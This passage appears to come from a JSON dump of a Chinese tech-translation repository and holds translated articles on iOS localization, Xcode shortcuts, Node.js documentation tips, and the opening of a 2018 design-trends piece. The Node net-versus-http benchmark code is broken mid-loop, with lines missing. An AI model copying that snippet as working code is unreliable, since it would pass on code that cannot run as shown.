框架，可以让你确定与设备相关的当前位置或方向。它通过可用的硬件来确认用户的位置与方向。你可以使用框架内部的类和协议来配置或计划位置的变更和方向的转变。你也可以使用它来定义地理区域，并监控用户何时跨越边界。在 iOS 里，你也可以定义一个蓝牙信标区域。\n\n很不错是吧？查看苹果的官方文档和示例代码，来更好的了解你能做什么以及怎么做。\n\n[**关于定位服务和地图**\n*描述了定位和地图服务的使用* developer.apple.com](https://developer.apple.com/library/content/documentation/UserExperience/Conceptual/LocationAwarenessPG/Introduction/Introduction.html#//apple_ref/doc/uid/TP40009497)\n\n#### 14 — 字符串本地化\n\n这是每个应用都需要实现的。它允许应用根据所在地区而改变语言。即使你的应用只有一种语言，在将来也可能会有添加另一种语言的情况。如果所有的文本都使用了字符串本地化，需要做的所有工作就是为新语言添加一个 Localizable.strings 文件的翻译版本。\n\n可以通过文件检查器将资源添加到一个语言。 要使用 NSLocalizedString 获取字符串，所有你要做的就是下面的内容：\n\n    NSLocalizedString(key:, comment:)\n\n不幸地是，往 Localization 文件里添加新字符串是手动的。以下是一个结构示例：\n\n    {\n       \"APP_NAME\" = \"MyApp\"\n       \"LOGIN_LBL\" = \"Login\"\n       ...\n    }\n\n现在一个相对应的，不同语言（葡萄牙语），Localizable 文件格式：\n\n    {\n       \"APP_NAME\" = \"MinhaApp\"\n       \"LOGIN_LBL\" = \"Entrar\"\n       ...\n    }\n\n甚至有办法实现复数。😁\n"
  },
  {
    "path": "TODO/17-xcode-tips-and-tricks-that-every-ios-developer-should-know.md",
    "content": "> * 原文地址：[17 Xcode Tips and Tricks That Every iOS Developer Should Know](https://www.detroitlabs.com/blog/2017/04/13/17-xcode-tips-and-tricks-that-every-ios-developer-should-know/)\n> * 原文作者：[Elyse Turner](https://www.detroitlabs.com/blog/author/elyse-turner/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/17-xcode-tips-and-tricks-that-every-ios-developer-should-know.md](https://github.com/xitu/gold-miner/blob/master/TODO/17-xcode-tips-and-tricks-that-every-ios-developer-should-know.md)\n> * 译者：[PTHFLY](https://github.com/pthtc)\n> * 校对者：[Danny1451](https://github.com/Danny1451)、[ryouaki](https://github.com/ryouaki)\n\n# 每个 iOS 开发者都该知道的 17 个 Xcode 小技巧\n\n![](https://dl-blog-uploads.s3.amazonaws.com/2017/Apr/dual_screen_1745705-1492006265590.png)\n\n对于 iOS 开发者，尤其是新手，来说，Xcode 可谓太过复杂，但是不要害怕！我们在这里帮助你。 Xcode 可以帮助你、允许你做的事情非常多。熟悉你的 IDE 是最简单有效增进实力的方法之一。\n\n在对抗越来越臃肿的 Xcode 方面，我们底特律实验室没有新手，并且想与你分享我们的对抗策略。在底特律实验室的开发者投票之后，这是 17 个我们最受欢迎的 Xcode 小技巧。\n\n**键位参考：**\n\n* `⌃`: Control\n* `⌘`: Command\n* `⌥`: Option\n* `⇧`: Shift\n* `⏎`: Return\n\n* * *\n\n**1)** 上下移动一整行或者许多行代码：使用 `⌘ ⌥ {` 上移 或者 `⌘ ⌥ }` 下移。如果你选择了一些内容, Xcode 会移动所有你选择的代码行；否则，只会移动光标所在的那一行。\n\n**2)** 使用 tabs 来保持聚焦。Tab 可以在不同使用情况下被单独配置和优化。Tab可以在`Behaviors`<sup><a href=\"#note1\">[1]</a></sup>中被命名以及使用。\n\n**3)** 使用 `Behaviors` 来根据上下文显示有用的面板。\n\n* `Behaviors` 在 Xcode 回应某个事项时是重要的偏好设置。当你开始构建的时候，你可以设置一个偏好来打开一个窗口来响应成功、失败、开始调试等等。\n* **有趣的事实:** 在测试失败的时候，你可以将播放音乐作为一个 `behavior` 。一个这儿的开发者喜欢用『 The Price is Right. 』的音乐当做失败音。\n\n**4)** 以辅助编辑窗模式打开文件。当使用『快速打开』( `⌘ ⇧ O` )时，按住 `⌥` 的同时按 `return`。\n\n**5)**  当光标处于显示『 Copy Qualified Symbol Name 』命令的方法内，使用 `⌘ ⇧ ⌃ ⌥ C` 会以一个优质、容易粘贴的格式拷贝方法名称。（译者注：例如`[UIColor colorWithRed:255/255.0f green:127/255.0f blue:80/255.0f alpha:1]`将会被拷贝为`+[UIColor colorWithRed:green:blue:alpha:]`。）\n\n**6)** 当按住 `⌥` 并点击代码或方法时，有效地使用 Xcode 解析的行内文档可以提供帮助。\n\n**7)** 在全局范围一次性更改某个变量名，可以使用 `⌘ ⇧ E`<sup><a href=\"#note2\">[2]</a></sup>。\n\n**8)** 你是否使用终端进入一个文件夹并且不确定你的工程使用的是 Xcode 的 workspaces 或者 仅仅是 project ？只需要运行 `open -a Xcode` 来打开文件夹本身 Xcode 会自动识别。专业提示：把这个加入你的 `.bash_profile` ，使用一个牛逼的名字（比如 `workit` ）来让你看起来像一个真的骇客。\n\n**9)** Xcode 中显示和隐藏的快捷键。\n\n* `⌘ ⇧ Y` : 显示/隐藏调试区域\n* `⌘ ⌥ ⏎` : 显示辅助编辑器\n* `⌘ ⏎` : 隐藏辅助编辑器\n\n**10)** 使用 `⌘ A ^ I` 进行自动缩进代码\n\n**11)** [LICEcap](http://www.cockos.com/licecap/) 对于制作在模拟器中的 GIF 动图非常有帮助，用于项目评审非常棒。在 LICEcap 上方，你可以使用 QuickTime 在屏幕上来分享你的硬件（做一个示范或者使用 LICEcap 制作 GIF ）。 在你的 iPhone 或者 iPad 插入的情况下，打开 QuickTime Player，点击 File -> New Movie Recording。然后点击记录按钮旁边的向下箭头，选择你的连接设备。这对于远程展示很有用，使用 LICEcap 来制作 GIF 或者为展示制作真机视频。![](https://dl-blog-uploads.s3.amazonaws.com/2017/Apr/Screen_Shot_2017_04_12_at_11_41_31_AM-1492011708141.png)\n\n**12)** 按下 `⌥ ⇧` 然后点击项目导航栏中的文件打开一个选择窗口，这时你可以选择在编辑器的哪个位置显示打开的文件。 \n\n**13)** 按住 `⌥` 的同时点击一个项目导航栏中的文件，它会显示在辅助编辑器中。\n\n**14)** 把导航面板（显示在 Xcode 界面的左边）想成是『 Command 』面板。那是因为按住 `⌘` 的同时按一个数字键可以切换到导航栏内相关的『标签』。例如，`⌘ 1` 打开项目导航；`⌘ 7` 打开断点导航。相似的，把工具面板看作『 Command+Option 』窗口，`⌘ ⌥ 1` 也可以打开那个面板的第一个标签 —— 文件检查器。\n\n**15)** `⌥ ⌘ ↑` 和 `⌥ ⌘ ↓` 在相关文件中进行导航(例如 .m .h 和 .xib 文件)。\n\n**16)** 如果你在与 `code signing` 作战而 Xcode 说你没有一个有效的符合 `provisioning profile` 的签名身份，它可能会显示给你一个看起来随机、没有什么意义的码。find-identity 会很有帮助。命令 `Security find-identity -v` 会显示出一件安装的有效身份。\n\n**17)** 在你的层层叠叠的文件夹中讯中某个文件夹非常浪费时间。在 Xcode 8 中，你可以使用『 Open Quickly 』对话框或者 `⌘ ⇧ O` 来省点时间。当它打开了你可以输入你正寻找的文件的文件名的任何部分来找到它。\n\n你是一个 iOS 开发者吗？看看在这里工作是怎样的体验，如果你有兴趣的话，[点此申请](https://detroitlabs.workable.com/j/F1D69FF0B5)！\n\n译者注：\n\n1. <a name=\"note1\"></a> `Behaviors` 可以在`偏好设置`中找到\n2. <a name=\"note2\"></a> 此处意思是缓存选中的变量名，此时进行 `Replace` 操作时，替换内容将会直接显示为缓存的内容，而不是空白一片。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n\n"
  },
  {
    "path": "TODO/19-things-i-learnt-reading-the-nodejs-docs.md",
    "content": "> * 原文地址：[19 things I learnt reading the NodeJS docs](https://hackernoon.com/19-things-i-learnt-reading-the-nodejs-docs-8a2dcc7f307f#.8iaiz8xls)\n* 原文作者：[David Gilbertson](https://hackernoon.com/@david.gilbertson)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：jacksonke20120711@gmail.com\n* 校对者：[mortyu](https://github.com/mortyu), [rottenpen](https://github.com/rottenpen)\n\n# 阅读 NodeJS 文档，我学到了这 19 件事情\n\n\n我相信我对 Node 了若指掌。我这 3 年来写的网站都是用 Node 来开发的。但实际上，我从没有详细查看 Node 文档。\n\n长期的订阅者应该知道，我正处在书写每一个接口(interface)，属性(prop)，方法(method)，函数(function)，数据类型(data type)等等关于 Web 开发的漫漫长途中，这样可以填补我的知识面的空缺。在完成了 HTML，DOM, WebApi, CSS, SVG 和 EcmaScript 之后, Node 文档会是我的最后一站。\n\n对我来说，这里面有很多宝贵的知识，所以我想简短地列举，并且分享它们。我会按吸引力从高到低列举它们，好比我见新朋友时的衣服顺序，（最吸引人的放外面 ^_^）\n\n### 把 querystring 当作通用解析器\n\n假设你从一些古怪的数据库中获取到的数据是一些键值对数组，格式像`name:Sophie;shape:fox;condition:new`。很自然的，你会将它当成一个 JavaScript 对象。你会将所取得的数据以`;`为分隔符切分成数组，然后遍历数组，用`:`分割，第一项作为属性，第二项作为该属性对应的值。\n\n这样对吧？\n\n不用这般麻烦的，你可以使用 `querystring`\n\n    const weirdoString = `name:Sophie;shape:fox;condition:new`;\n    const result = querystring.parse(weirdoString, `;`, `:`);\n\n    // result:\n    // {\n    //   name: `Sophie`,\n    //   shape: `fox`,\n    //   condition: `new`,\n    // };\n\n[**Query String | Node.js v7.0.0 Documentation**  \n_By default, percent-encoded characters within the query string will be assumed to use UTF-8 encoding. If an alternative…_nodejs.org](https://nodejs.org/api/querystring.html#querystring_querystring_parse_str_sep_eq_options \"https://nodejs.org/api/querystring.html#querystring_querystring_parse_str_sep_eq_options\")\n\n### V8 Inspector\n\n运行 node，加上`--inspect`选项，会给出一个 URL 地址。粘贴该 URL 到 Chrome。哈哈，这就能用 Chrome DevTools 调试 Node，这多方便，多轻松。这篇文章有介绍如何使用[ how-to by Paul Irish over here ](https://medium.com/@paul_irish/debugging-node-js-nightlies-with-chrome-devtools-7c4a1b95ae27#.evhku718w).\n\n虽然它现在还处于“试验”阶段，但是现在已经极大地解决了我的困挠。\n\n[**Debugger | Node.js v7.0.0 Documentation**  \n_Node.js includes a full-featured out-of-process debugging utility accessible via a simple TCP-based protocol and built…_nodejs.org](https://nodejs.org/api/debugger.html#debugger_v8_inspector_integration_for_node_js \"https://nodejs.org/api/debugger.html#debugger_v8_inspector_integration_for_node_js\")\n\n### nextTick 和 setImmediate 的不同点\n\n和多数情况一样，如果能给它们起个更贴切的名字，就很容易记住两者的不同了。\n\n`process.nextTick()` 是 `process.sendThisToTheStartOfTheQueue()`.(译者注：放入队列的第一个位置)\n\n`setImmediate()` 应该被叫做 `sendThisToTheEndOfTheQueue()`.(译者注：放入队列的尾部，最后一个处理的)\n\n(题外话：React 中，我通常将`props`当成`stuffThatShouldStayTheSameIfTheUserRefreshes`，而将`state`当成`stuffThatShouldBeForgottenIfTheUserRefreshes`.这两者长度一致也是个意外，哈哈哈。)\n\n[**Node.js v7.0.0 Documentation**  \n_Stability: 3 — Locked The timer module exposes a global API for scheduling functions to be called at some future period…_nodejs.org](https://nodejs.org/api/timers.html#timers_setimmediate_callback_args \"https://nodejs.org/api/timers.html#timers_setimmediate_callback_args\")\n\n[**process | Node.js v7.0.0 Documentation**  \n_A process warning is similar to an error in that it describes exceptional conditions that are being brought to the user…_nodejs.org](https://nodejs.org/api/process.html#process_process_nexttick_callback_args \"https://nodejs.org/api/process.html#process_process_nexttick_callback_args\")\n\n[**Node v0.10.0 (Stable)**  \n_I am pleased to announce a new stable version of Node. This branch brings significant improvements to many areas, with…_nodejs.org](https://nodejs.org/en/blog/release/v0.10.0/#faster-process-nexttick \"https://nodejs.org/en/blog/release/v0.10.0/#faster-process-nexttick\")\n\n### Server.listen 只带一个参数对象\n\n对于参数传递，我倾向于只使用一个参数 `options` ，而不是传 5 个没命名且必须按照特定顺序的参数。这可以在服务端监听连接时使用。\n\n    require(`http`)\n      .createServer()\n      .listen({\n        port: 8080,\n        host: `localhost`,\n      })\n      .on(`request`, (req, res) => {\n        res.end(`Hello World!`);\n      });\n\n这个文档比较隐蔽，它并不在`http.Server`的方法列表里，而是在`net.Server`中（`http.Server`继承`net.Server`）\n\n[**net | Node.js v7.0.0 Documentation**  \n_Stops the server from accepting new connections and keeps existing connections. This function is asynchronous, the…_nodejs.org](https://nodejs.org/api/net.html#net_net_createserver_options_connectionlistener \"https://nodejs.org/api/net.html#net_net_createserver_options_connectionlistener\")\n\n### 相对路径\n\n传入`fs`模块方法的路径可以是相对路径。这是相对于`process.cwd()`。这可能多数人都知道了，但我以前一直以为要传入绝对路径。\n\n    const fs = require(`fs`);\n    const path = require(`path`);\n\n    // why have I always done this...\n    fs.readFile(path.join(__dirname, `myFile.txt`), (err, data) => {\n      // do something\n    });\n\n    // when I could just do this?\n    fs.readFile(`./path/to/myFile.txt`, (err, data) => {\n      // do something\n    });\n\n[**File System | Node.js v7.0.0 Documentation**  \n_birthtime “Birth Time” — Time of file creation. Set once when the file is created. On filesystems where birthtime is…_nodejs.org](https://nodejs.org/api/fs.html#fs_file_system \"https://nodejs.org/api/fs.html#fs_file_system\")\n\n### 路径解析\n\n以前我会显摆的技术之一就是使用正则表达式从路径字符串中获取文件名和拓展名，这其实根本没有必要，需要做的仅仅是调用接口：\n\n    myFilePath = `/someDir/someFile.json`;\n    path.parse(myFilePath).base === `someFile.json`; // true\n    path.parse(myFilePath).name === `someFile`; // true\n    path.parse(myFilePath).ext === `.json`; // true\n\n[**Node.js v7.0.0 Documentation**  \n_Stability: 2 — Stable The path module provides utilities for working with file and directory paths. It can be accessed…_nodejs.org](https://nodejs.org/api/path.html#path_path_parse_path \"https://nodejs.org/api/path.html#path_path_parse_path\")\n\n### 使用不同颜色来记录日志\n\n使用`console.dir(obj, {colors: true})`可以使用预先设置好的配色方案打印日志，这样更易于阅读。\n\n[**Console | Node.js v7.0.0 Documentation**  \n_The console functions are usually asynchronous unless the destination is a file. Disks are fast and operating systems…_nodejs.org](https://nodejs.org/api/console.html#console_console_dir_obj_options \"https://nodejs.org/api/console.html#console_console_dir_obj_options\")\n\n### 让 setInterval() 不去影响应用的效率\n\n假设你使用`setInterval()`来执行数据库清理操作，一天一次。默认情况下，只要`setInterval()`的请求还在， Node  的事件循环是不会停止的。如果你想让 Node 休息（我也不知道这样做的好处），你可以这么做：\n\n    const dailyCleanup = setInterval(() => {\n      cleanup();\n    }, 1000 * 60 * 60 * 24);\n\n    dailyCleanup.unref();\n\n需要注意的是，如果你的队列中没有其它的请求（比如 http 服务监听），Node 会退出的。\n\n[**Node.js v7.0.0 Documentation**  \n_Stability: 3 — Locked The timer module exposes a global API for scheduling functions to be called at some future period…_nodejs.org](https://nodejs.org/api/timers.html#timers_timeout_unref \"https://nodejs.org/api/timers.html#timers_timeout_unref\")\n\n### 使用 Signal 常量\n\n可能你以前会这样处理 kill：\n\n    process.kill(process.pid, `SIGTERM`);\n\n如果计算机编程的历史不存在由错字引发的错误，这样做没什么错的。但是实际上这是发生过的。第二个参数可以是带上'string'**或者**对应的 int ，你可以使用下面更健壮的方式\n\n    process.kill(process.pid, os.constants.signals.SIGTERM);\n\n### IP 地址有效性验证\n\nNode 已经有内置的 IP 地址校验器。我以前不止一次自己写正则表达式去做这个。好蠢（┬＿┬）\n\n`require(`net`).isIP(`10.0.0.1`)` will return `4`.\n\n`require(`net`).isIP(`cats`)` will return `0`.\n\n因为`cats`并不是一个IP地址\n\n如果你没注意到，我正经历着这么个阶段，字符串使用反引号包起来， 它在我身上越来越多，但我知道它看起来很奇怪，所以我特意提到它。。。（作者的唠叨）\n\n[**net | Node.js v7.0.0 Documentation**  \n_Stops the server from accepting new connections and keeps existing connections. This function is asynchronous, the…_nodejs.org](https://nodejs.org/api/net.html#net_net_isip_input \"https://nodejs.org/api/net.html#net_net_isip_input\")\n\n### os.EOL\n\n你曾经对行结束符硬编码吗？\n\n我的天！\n\n`os.EOL`是专门为你准备的，它在 Windows 操作系统上为`\\r\\n`，在其它系统上是`\\n`。[使用 os.EOL ](https://github.com/sasstools/sass-lint/pull/92/files) 能让你的代码在不同的操作系统上表现一致。\n\n    const fs = require(`fs`);\n\n    // bad\n    fs.readFile(`./myFile.txt`, `utf8`, (err, data) => {\n      data.split(`\\r\\n`).forEach(line => {\n        // do something\n      });\n    });\n\n    // good\n    const os = require(`os`);\n    fs.readFile(`./myFile.txt`, `utf8`, (err, data) => {\n      data.split(os.EOL).forEach(line => {\n        // do something\n      });\n    });\n\n[**OS | Node.js v7.0.0 Documentation**  \n_{ model: ‘Intel(R) Core(TM) i7 CPU 860 @ 2.80GHz’, speed: 2926, times: { user: 252020, nice: 0, sys: 30340, idle…_nodejs.org](https://nodejs.org/api/os.html#os_os_eol \"https://nodejs.org/api/os.html#os_os_eol\")\n\n### 状态码查询\n\nHTTP 状态码及其对应的易读性的名字是可以查询的。`http.STATUS_CODES`正是我这里想说的，它的键是个状态码，值对应其状态的简短描述。\n\n\n\n\n\n\n\n\n\n![](https://d262ilb51hltx0.cloudfront.net/max/1600/1*68Kp8_XfEM3gUoS__WGx9Q.png)\n\n\n\n\n\n所以你可以这么做：\n\n    someResponse.code === 301; // true\n    require(`http`).STATUS_CODES[someResponse.code] === `Moved Permanently`; // true\n\n[**HTTP | Node.js v7.0.0 Documentation**  \n_The HTTP interfaces in Node.js are designed to support many features of the protocol which have been traditionally…_nodejs.org](https://nodejs.org/api/http.html#http_http_status_codes \"https://nodejs.org/api/http.html#http_http_status_codes\")\n\n### 预防崩溃\n\n我一直认为下面的这种错误导致的服务崩溃是非常荒谬的：\n\n    const jsonData = getDataFromSomeApi(); // But oh no, bad data!\n    const data = JSON.parse(jsonData); // Loud crashing noise.\n\n预防这种可笑的错误，你可以在你 app 的中使用`process.on(`uncaughtException`, console.error);`\n\n当然，我不是傻瓜，在付费的项目中，我会使用[ PM2 ](http://pm2.keymetrics.io/)，同时把所有的东西都装到`try...catch`语句中。但是，私人免费项目就另说 o_o ....\n\n警告，这个[并非最好的练习](https://nodejs.org/api/process.html#process_warning_using_uncaughtexception_correctly),在大点复杂点的 app  中，这甚至可能是个坏主意。这需要你来决定是否要信任一个家伙的博客文章或官方文档。\n\n[**process | Node.js v7.0.0 Documentation**  \n_A process warning is similar to an error in that it describes exceptional conditions that are being brought to the user…_nodejs.org](https://nodejs.org/api/process.html#process_event_uncaughtexception \"https://nodejs.org/api/process.html#process_event_uncaughtexception\")\n\n### Just this once()\n\n对所有的事件发送者(EventEmitters)，除了`on()`方法之外，还有`once()`，我很确认我是地球上最后一个学到这点的人 (T_T) \n\n    server.once(`request`, (req, res) => res.end(`No more from me.`));\n\n[**Events | Node.js v7.0.0 Documentation**  \n_Much of the Node.js core API is built around an idiomatic asynchronous event-driven architecture in which certain kinds…_nodejs.org](https://nodejs.org/api/events.html#events_emitter_once_eventname_listener \"https://nodejs.org/api/events.html#events_emitter_once_eventname_listener\")\n\n### 定制控制台\n\n你可以使用 `new console.Console(standardOut, errorOut)` 创建你自己的控制台，传入你自己的输出流。\n\n为什么要定制控制台? 我也不知道。或许想要将一些内容输出到文件，套接字，或者其他东西的时候，会考虑定制控制台。\n\n[**Console | Node.js v7.0.0 Documentation**  \n_The console functions are usually asynchronous unless the destination is a file. Disks are fast and operating systems…_nodejs.org](https://nodejs.org/api/console.html#console_new_console_stdout_stderr \"https://nodejs.org/api/console.html#console_new_console_stdout_stderr\")\n\n### DNS查询结果\n\nNode [不缓存 DNS 返回的结果](https://github.com/nodejs/node/issues/5893).所以当你一次又一次地查询同一个 URL 的时候，其实已经浪费了很多宝贵的时间。这种情况下，你完全可以自己调用`dns.lookup()`并缓存结果的。或者可以[这么](https://www.npmjs.com/package/dnscache)做，这个是先前有人实现的。\n\n    dns.lookup(`www.myApi.com`, 4, (err, address) => {\n      cacheThisForLater(address);\n    });\n\n[**DNS | Node.js v7.0.0 Documentation**  \n_2) Functions that connect to an actual DNS server to perform name resolution, and that always use the network to…_nodejs.org](https://nodejs.org/api/dns.html#dns_dns_lookup_hostname_options_callback \"https://nodejs.org/api/dns.html#dns_dns_lookup_hostname_options_callback\")\n\n### `fs`模块是多操作系统兼容性的雷区\n\n如果你写代码的风格和我一样--阅读最少的知识，微调程序，直到它可以运行。那么，你很有可能也会触到`fs`模块的雷区。虽然 Node 为多操作系统的兼容性做了很多，但毕竟也只能做到那么多。许多 OS 的不同特性就像代码海洋中突起的珊瑚瞧，每个瞧石都隐藏着风险。而你，仅仅是小船。\n\n不幸的是，这些不同点不仅仅是存在于 Windows 和其它操作系统之间，所以，你不能简单的自我安慰“哇，太好了，没人使用  Windows”。（我写过一大篇反对使用 Windows 来进行 Web 开发的文章，但我自己把它删了，因为那些说教，连我自己看了都翻白眼）。\n\n下面这些是你在使用`fs`模块时，可能碰到的坑\n\n*   `fs.stats()`返回的`mode`属性在 Windows 和其它操作系统上是不同的（在 Windows 上没有匹配一些文件模式常量，比如 `fs.constants.S_IRWXU`）\n*   `fs.lchmod()`只能在 macOS 中使用\n*   `fs.symlink()` 的`type`参数只可能在 Windows 上使用\n*   `fs.watch()` 选项`recursive`只能在 macOS 和 Windows 中使用。\n*   `fs.watch()` 在 Windows 和 Linux 上，回调只会接受一个文件名\n*   `fs.open()` 打开一个文件夹，在 FreeBSD 和 Windows 上使用`a+`属性是可以的，但是在 macOS 和 Linux 上是不行的。\n*   `fs.write()` 在linux上，当文件是以append的方式打开的，参数`position`是会被直接忽视掉的，直接在文件末尾添加。\n\n(我还算挺赶时髦的，我已经改用`macOS`了，`OS X`只用了 49 天)\n\n[**File System | Node.js v7.0.0 Documentation**  \n_birthtime “Birth Time” – Time of file creation. Set once when the file is created. On filesystems where birthtime is…_nodejs.org](https://nodejs.org/api/fs.html \"https://nodejs.org/api/fs.html\")\n\n### net 模块是 http 模块速度的两倍\n\n阅读文档，我学到了`net`模块是个事儿。它支撑着`http`模块。这会让我思索，假如我只想做服务器间的通讯 (server-to-server communication )，我是不是只需要使用`net`模块？\n\n网上的人或许很难相信我不能凭直觉获得答案。作为一个 Web 开发者，我一开始就扎进了服务端的世界里，我知道 http 但是其他方面并不是很多。所有的  TCP, 套接字，流之类的对我来说就像[日本摇滚](https://www.youtube.com/watch?v=FQgH4G3qypI).我真的不是很明白，但是我很好奇。\n\n为了比较验证我的想法，我建立了多个服务端程序，（我相信这时你肯定在听日本摇滚了）,并且发送了多个请求。结论是 `http.Server`每秒中处理了大约3,400个请求，`net.Server`每秒钟处理5,500个。\n\n它其实也很简单。\n\n如果你感兴趣的话，可以查看我的代码。如果不感兴趣，那不好意思，需要你滚动页面了。\n\n    // This makes two connections, one to a tcp server, one to an http server (both in server.js)\n    // It fires off a bunch of connections and times the response\n\n    // Both send strings.\n\n    const net = require(`net`);\n    const http = require(`http`);\n\n    function parseIncomingMessage(res) {\n      return new Promise((resolve) => {\n        let data = ``;\n\n        res.on(`data`, (chunk) => {\n          data += chunk;\n        });\n\n        res.on(`end`, () => resolve(data));\n      });\n    }\n\n    const testLimit = 5000;\n\n    /*  ------------------  */\n    /*  --  NET client  --  */\n    /*  ------------------  */\n    function testNetClient() {\n      const netTest = {\n        startTime: process.hrtime(),\n        responseCount: 0,\n        testCount: 0,\n        payloadData: {\n          type: `millipede`,\n          feet: 100,\n          test: 0,\n        },\n      };\n\n      function handleSocketConnect() {\n        netTest.payloadData.test++;\n        netTest.payloadData.feet++;\n\n        const payload = JSON.stringify(netTest.payloadData);\n\n        this.end(payload, `utf8`);\n      }\n\n      function handleSocketData() {\n        netTest.responseCount++;\n\n        if (netTest.responseCount === testLimit) {\n          const hrDiff = process.hrtime(netTest.startTime);\n          const elapsedTime = hrDiff[0] * 1e3 + hrDiff[1] / 1e6;\n          const requestsPerSecond = (testLimit / (elapsedTime / 1000)).toLocaleString();\n\n          console.info(`net.Server handled an average of ${requestsPerSecond} requests per second.`);\n        }\n      }\n\n      while (netTest.testCount  {\n          httpTest.responseCount++;\n\n          if (httpTest.responseCount === testLimit) {\n            const hrDiff = process.hrtime(httpTest.startTime);\n            const elapsedTime = hrDiff[0] * 1e3 + hrDiff[1] / 1e6;\n            const requestsPerSecond = (testLimit / (elapsedTime / 1000)).toLocaleString();\n\n            console.info(`http.Server handled an average of ${requestsPerSecond} requests per second.`);\n          }\n        });\n      }\n\n      while (httpTest.testCount  {\n      console.info(`Starting testNetClient()`);\n      testNetClient();\n    }, 50);\n\n    setTimeout(() => {\n      console.info(`Starting testHttpClient()`);\n      testHttpClient();\n    }, 2000);\n\n    // This sets up two servers. A TCP and an HTTP one.\n    // For each response, it parses the received string as JSON, converts that object and returns a string\n    const net = require(`net`);\n    const http = require(`http`);\n\n    function renderAnimalString(jsonString) {\n      const data = JSON.parse(jsonString);\n      return `${data.test}: your are a ${data.type} and you have ${data.feet} feet.`;\n    }\n\n    /*  ------------------  */\n    /*  --  NET server  --  */\n    /*  ------------------  */\n\n    net\n      .createServer((socket) => {\n        socket.on(`data`, (jsonString) => {\n          socket.end(renderAnimalString(jsonString));\n        });\n      })\n      .listen(8888);\n\n    /*  -------------------  */\n    /*  --  HTTP server  --  */\n    /*  -------------------  */\n\n    function parseIncomingMessage(res) {\n      return new Promise((resolve) => {\n        let data = ``;\n\n        res.on(`data`, (chunk) => {\n          data += chunk;\n        });\n\n        res.on(`end`, () => resolve(data));\n      });\n    }\n\n    http\n      .createServer()\n      .listen(8080)\n      .on(`request`, (req, res) => {\n        parseIncomingMessage(req).then((jsonString) => {\n          res.end(renderAnimalString(jsonString));\n        });\n      });\n\n[**net | Node.js v7.0.0 Documentation**  \n_Stops the server from accepting new connections and keeps existing connections. This function is asynchronous, the…_nodejs.org](https://nodejs.org/api/net.html \"https://nodejs.org/api/net.html\")\n\n### REPL技巧\n\n1.  当你处于 REPL（那是你在控制台敲入`node`，并按了回车键的情形），你可以敲入`.load someFile.js`，这时，它会将这个文件的内容加载进来。（比如，你可以加载一个包含大量常量的文件）。\n2.  当你设置环境变量`NODE_REPL_HISTORY=\"\"`，这样可以禁止 repl 的历史写入文件中。同时我也学到（至少是被提醒了）REPL 的历史默认是写到`~/.node_repl_history`中，当你想回忆起之前的 REPL 历史时，可以上这儿查。\n3.  `_` 这个变量，保存着上一次的计算结果. 相当方便!\n4.  当你进入 REPL 模式中时，模块都已经为你加载好了。所以了，比如说，你可以直接敲入`os.arch()`查看操作系统体系结构。你不需要先敲入`require(`os`).arch();` (注: 确的说，是按需加载的模块.)\n"
  },
  {
    "path": "TODO/2018-design-trends.md",
    "content": "> * 原文地址：[2018 Design Trends](https://www.behance.net/gallery/59540015/2018-Design-Trends)\n> * 原文作者：[Mark Banaynal](https://www.behance.net/markbnynl), [Epicco Digital](https://www.behance.net/infoe9291e3c)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/2018-design-trends.md](https://github.com/xitu/gold-miner/blob/master/TODO/2018-design-trends.md)\n> * 译者：[pot-code](https://github.com/pot-code)\n> * 校对者：[wzy816](https://github.com/wzy816)、[ryouaki](https://github.com/ryouaki)\n\n# 2018 设计趋势\n\n![](https://mir-s3-cdn-cf.behance.net/project_modules/1400/ceb29959540015.5a2e0a1760c84.jpg)\n\n为项目选一个合适的设计风格越来越关键，挑战也很大。如何才能吸引观众呢，怎样才能让自己的设计从竞争激烈、信息过载的市场中脱颖而出呢？即便这是个信息驱动的世界，设计还是有机会让人们在情感上产生共鸣，从而打造出符合人直觉的交互体验。\n\n## 双色调和双重曝光\n\n2015 年末，Pantone（潘通）公布了 2016 年的代表色为静谧蓝（Serenity）和粉晶（Rose Quartz），这一声明震惊了设计界。可能正是因为这点，引领了数码界渐渐使用双色调的趋势。到了 2016 年，大量网站开始采用双色调的设计风格，试图营造一种富有冲击力和活力的氛围，典型的如 SpotifyBy。最后到了 2017 年，这种风格已经烂大街了。2018 年比以前还是有所进步：多了双重曝光的效果，倒也能在某些照片中表现出均衡的色感、增加一点戏剧性。\n\n![](https://mir-s3-cdn-cf.behance.net/project_modules/max_1200/977c3359540015.5a264983aaf6c.png)\n\n[Adison Partner's Website](http://www.adisonpartners.com/)\n\n![](https://mir-s3-cdn-cf.behance.net/project_modules/max_1200/9fba3259540015.5a264983aac00.jpg)\n\n[Spotlight Festival Identity](https://www.behance.net/gallery/58313279/Spotlight-Festival-Identity)，摘自 [Manitou Design](https://www.behance.net/manitoudesign)，由 [Kristina Udovichenko](https://www.behance.net/kristina_udovichenko) 和 [Shamil Karim](https://www.behance.net/shamilkarimov) 联合设计\n\n![](https://mir-s3-cdn-cf.behance.net/project_modules/disp/8e745259540015.5a264b3a89a98.jpg)\n\n[7h10 Double Color Exposure](https://graphicriver.net/user/7h10)\n\n## 更大胆的用色\n\n虽然最近渐变色大有回归之势，但大胆、鲜明的色系在设计界仍然有着不可撼动的地位。毕竟在让人眼花缭乱的品牌设计中，没有什么能比大胆和鲜明的用色更加出类拔萃、让人印象深刻了。但是，一旦决定使用大胆色系，就要斟酌色彩之间的搭配问题，还要考虑如何才能更好的凸显出品牌形象，抓住目标观众的心。\n\n[Simply Chocolate 